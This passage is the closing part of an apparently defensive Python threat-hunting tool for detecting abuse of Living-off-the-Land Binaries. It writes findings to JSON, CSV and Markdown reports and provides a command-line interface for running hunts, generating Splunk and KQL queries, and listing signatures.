# Output results
output_path = Path(output_dir)
output_path.mkdir(parents=True, exist_ok=True)
# Write findings JSON
findings_file = output_path / "lolbin_findings.json"
with open(findings_file, "w", encoding="utf-8") as f:
json.dump({
"hunt_id": f"TH-LOLBIN-{datetime.date.today().isoformat()}",
"timestamp": datetime.datetime.now().isoformat(),
"total_events_analyzed": len(raw_events),
"total_findings": len(findings),
"statistics": dict(stats),
"findings": findings,
}, f, indent=2)
print(f"[+] Findings written to {findings_file}")
# Write CSV summary
csv_file = output_path / "lolbin_findings.csv"
if findings:
with open(csv_file, "w", newline="", encoding="utf-8") as f:
writer = csv.DictWriter(f, fieldnames=findings[0].keys())
writer.writeheader()
for finding in findings:
row = dict(finding)
row["indicators"] = "; ".join(row["indicators"])
writer.writerow(row)
print(f"[+] CSV summary written to {csv_file}")
# Write hunt report
report_file = output_path / "hunt_report.md"
with open(report_file, "w", encoding="utf-8") as f:
f.write(f"# LOLBin Threat Hunt Report\n\n")
f.write(f"**Hunt ID**: TH-LOLBIN-{datetime.date.today().isoformat()}\n")
f.write(f"**Date**: {datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S')}\n")
f.write(f"**Events Analyzed**: {len(raw_events)}\n")
f.write(f"**Findings**: {len(findings)}\n\n")
f.write("## Statistics\n\n")
f.write("| Metric | Count |\n|--------|-------|\n")
for key, count in sorted(stats.items()):
f.write(f"| {key} | {count} |\n")
f.write("\n## Top Findings\n\n")
for finding in sorted(findings, key=lambda x: x["risk_score"], reverse=True)[:20]:
f.write(f"### [{finding['risk_level']}] {finding['binary']} - {finding['attack_id']}\n")
f.write(f"- **Host**: {finding['hostname']}\n")
f.write(f"- **User**: {finding['user']}\n")
f.write(f"- **Parent**: {finding['parent_process']}\n")
f.write(f"- **Command**: `{finding['command_line'][:200]}`\n")
f.write(f"- **Indicators**: {', '.join(finding['indicators'])}\n\n")
print(f"[+] Hunt report written to {report_file}")
# Print summary
print("\n" + "=" * 60)
print("HUNT SUMMARY")
print("=" * 60)
print(f"Total Events Analyzed: {len(raw_events)}")
print(f"Suspicious Findings: {len(findings)}")
print(f" CRITICAL: {stats.get('CRITICAL', 0)}")
print(f" HIGH: {stats.get('HIGH', 0)}")
print(f" MEDIUM: {stats.get('MEDIUM', 0)}")
print(f" LOW: {stats.get('LOW', 0)}")
print("=" * 60)
def main():
parser = argparse.ArgumentParser(
description="LOLBin Threat Hunt - Detect abuse of Living-off-the-Land Binaries"
)
subparsers = parser.add_subparsers(dest="command", help="Available commands")
# Hunt command
hunt_parser = subparsers.add_parser("hunt", help="Run LOLBin hunt against log data")
hunt_parser.add_argument("--input", "-i", required=True, help="Path to log file (XML, CSV, JSON)")
hunt_parser.add_argument("--output", "-o", default="./hunt_output", help="Output directory")
hunt_parser.add_argument("--format", "-f", default="auto", choices=["auto", "xml", "csv", "json"])
# Queries command
queries_parser = subparsers.add_parser("queries", help="Generate hunting queries")
queries_parser.add_argument("--platform", "-p", choices=["splunk", "kql", "all"], default="all")
queries_parser.add_argument("--output", "-o", help="Output file for queries")
# Signatures command
subparsers.add_parser("signatures", help="List LOLBin signatures and indicators")
args = parser.parse_args()
if args.command == "hunt":
run_hunt(args.input, args.output, args.format)
elif args.command == "queries":
if args.platform in ("splunk", "all"):
print("\n=== SPLUNK SPL QUERIES ===\n")
for name, query in generate_splunk_queries().items():
print(f"--- {name} ---")
print(query)
print()
if args.platform in ("kql", "all"):
print("\n=== KQL QUERIES (Microsoft Defender) ===\n")
for name, query in generate_kql_queries().items():
print(f"--- {name} ---")
print(query)
print()
elif args.command == "signatures":
print("\n=== LOLBin Signatures ===\n")
print(f"{'Binary':<20} {'ATT&CK ID':<15} {'Description'}")
print("-" * 80)
for binary, sig in LOLBIN_SIGNATURES.items():
print(f"{binary:<20} {sig['attack_id']:<15} {sig['description']}")
else:
parser.print_help()
if __name__ == "__main__":
main()
Assets 1
template.mdtext/markdown · 3.7 KBKeep exploring